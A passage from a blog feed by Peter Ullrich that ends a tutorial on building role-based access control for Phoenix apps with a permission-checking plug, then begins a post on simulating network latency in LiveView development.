&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;delete&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;address_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Delete address&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;AddressController&lt;/code&gt; is where we set up our &lt;code&gt;Access Control&lt;/code&gt;. Aside from creating three endpoints, the controller defines the permission necessary to use each endpoint. If a user doesn&apos;t have that permission, we return an error. We moved that check to our &lt;code&gt;CheckPermissions&lt;/code&gt; plug so that we can reuse it in other controllers as well. Let&apos;s have a look at that plug next:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAPWeb.Plugs.CheckPermissions&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.Controller&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;only: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;action_name: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Permissions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Repo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;required_permission&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_required_permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Permissions&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;user_has_permission?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;required_permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_status&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:forbidden&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;halt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;preload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_required_permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;action&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;action_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Keyword&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fetch!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Keyword&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fetch!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Whenever a user makes a request to our &lt;code&gt;AddressController&lt;/code&gt;, Phoenix invokes &lt;code&gt;CheckPermissions.call/2&lt;/code&gt; first. Here, we first fetch the &lt;code&gt;current_user&lt;/code&gt; and preload its &lt;code&gt;role&lt;/code&gt;. We then retrieve the required permission which we defined in our controller. If we forgot to define a permission, the &lt;code&gt;Keyword.fetch!/2&lt;/code&gt; call raises an exception and stops the request.&lt;/p&gt;
&lt;p&gt;We don&apos;t want to spread our permissions logic all over our application, so we moved the permission checking to our &lt;code&gt;Permissions&lt;/code&gt; module again. It simply checks whether a user&apos;s &lt;code&gt;role&lt;/code&gt; or &lt;code&gt;custom_permissions&lt;/code&gt; contain the required permission. If yes, the request hits our controller endpoint and executes the action. If not, we block the request and add a &lt;code&gt;403 (forbidden)&lt;/code&gt; error to it. Let&apos;s have a look at the last part, the &lt;code&gt;Permissions.user_has_permission?/2&lt;/code&gt; check:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Permissions&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Other code&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;user_has_permission?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;has_permission?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;has_permission?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;custom_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our &lt;code&gt;user_has_permission?/2&lt;/code&gt; function checks whether a given user has the required permission in either its role permissions or its custom permissions.&lt;/p&gt;
&lt;p&gt;And with that last piece in place, the &lt;code&gt;Access Control&lt;/code&gt; part of our RAP is done! Let&apos;s recap.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#rerap&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;rerap&quot;&gt;&lt;/a&gt;Rerap&lt;/h2&gt;
&lt;p&gt;Our RAP is built around &lt;code&gt;permissions&lt;/code&gt;. We can create permission groups, called &lt;code&gt;roles&lt;/code&gt;, and assign them to individual users. We can also give specific permissions to individual users if needed by adding them to &lt;code&gt;user.custom_permissions&lt;/code&gt;. We define the required permission for calling our endpoints in the controllers using the &lt;code&gt;CheckPermissions&lt;/code&gt; plug. If a user doesn&apos;t have the required permission, we block the request. The &lt;code&gt;Permissions&lt;/code&gt; module is at the heart of our RAP and defines all valid permissions and their actions. It also takes care of validating and checking permissions. And that&apos;s it!&lt;/p&gt;
&lt;p&gt;This article explained how to set up &lt;code&gt;Access Controls&lt;/code&gt; for your Phoenix app. However, access controls are only the outermost layer of protection you can implement. In the next blog post, we&apos;ll discuss how to add another, deeper layer of protection by implementing &lt;code&gt;Query Restrictions&lt;/code&gt;. So stay tuned!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope you enjoyed this article! This is the first part of the two-part series. You can find the second part &lt;a href=&quot;https://peterullrich.com/build-a-rap-for-phoenix-part-2&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thanks again to my dear colleagues &lt;a href=&quot;https://twitter.com/lucasmazza&quot;&gt;Lucas&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/vrcca&quot;&gt;Vitor&lt;/a&gt;, and &lt;a href=&quot;https://twitter.com/csilva_antonio&quot;&gt;Antonio&lt;/a&gt; for their brilliant work and support. If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. If you found this topic interesting, here are some references for further reading:&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/build-a-rap-for-phoenix-part-1"/>
    <id>https://peterullrich.com/build-a-rap-for-phoenix-part-1</id>
    <title>Build a Roles and Permissions System for Phoenix - Part 1</title>
    <updated>2022-12-04T08:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks 👋 Before we begin, a little story:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;My friend bragged that his 3D printer could print a Gun,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;but I wasn’t impressed.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;I already had a Canon printer for years!
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright, now to today&apos;s topic: &lt;strong&gt;How to simulate latency, jitter, and package loss when developing LiveView apps&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;When we develop LiveView apps, usually two things are true: We develop it locally and we test production using a solid internet connection. But these things are rarely true for our users! They don&apos;t run the app on their computer and they often connect through a mobile - and therefore, unreliable - connection! LiveView apps have to do round-trips to the server for almost everything. Every button click, every site navigation. So, the quality of our user experience is strongly dependent on our internet connection. Users need immediate feedback for their actions. If they click a button and nothing happens, they get confused. If our website &quot;freezes&quot;, they leave it. So, how do you prevent this from happening?&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;You can simulate a bad internet connection locally by adjusting the &lt;code&gt;latency&lt;/code&gt;, &lt;code&gt;jitter&lt;/code&gt;, or &lt;code&gt;package loss&lt;/code&gt; of your connection. Use these levers to test how your website behaves when the internet is bad. You&apos;ll be surprised how confusing it is when you click a button and nothing happens!&lt;/p&gt;
&lt;p&gt;Let&apos;s see how you can simulate each:&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#simulate-latency&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;simulate-latency&quot;&gt;&lt;/a&gt;Simulate Latency&lt;/h3&gt;
&lt;p&gt;Phoenix LiveView comes with a latency simulator out of the box. When you generate a new project, you&apos;ll find the following documentation in &lt;code&gt;assets/js/app.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// expose liveSocket on window for web console debug logs and latency simulation:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// &gt;&gt; liveSocket.enableLatencySim(1000)  // enabled for duration of browser session&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// &gt;&gt; liveSocket.disableLatencySim()&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;window&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;liveSocket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;liveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LiveView makes it trivial to simulate a stable latency. Run your app, open the browsers console and type the following to simulate a one second delay for every user action:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// Browser console&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;liveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;enableLatencySim&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LiveView will store this setting in the browser&apos;s session, so you need to either close the browser tab or run the following command to disable the latency again:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;liveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;disableLatencySim&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
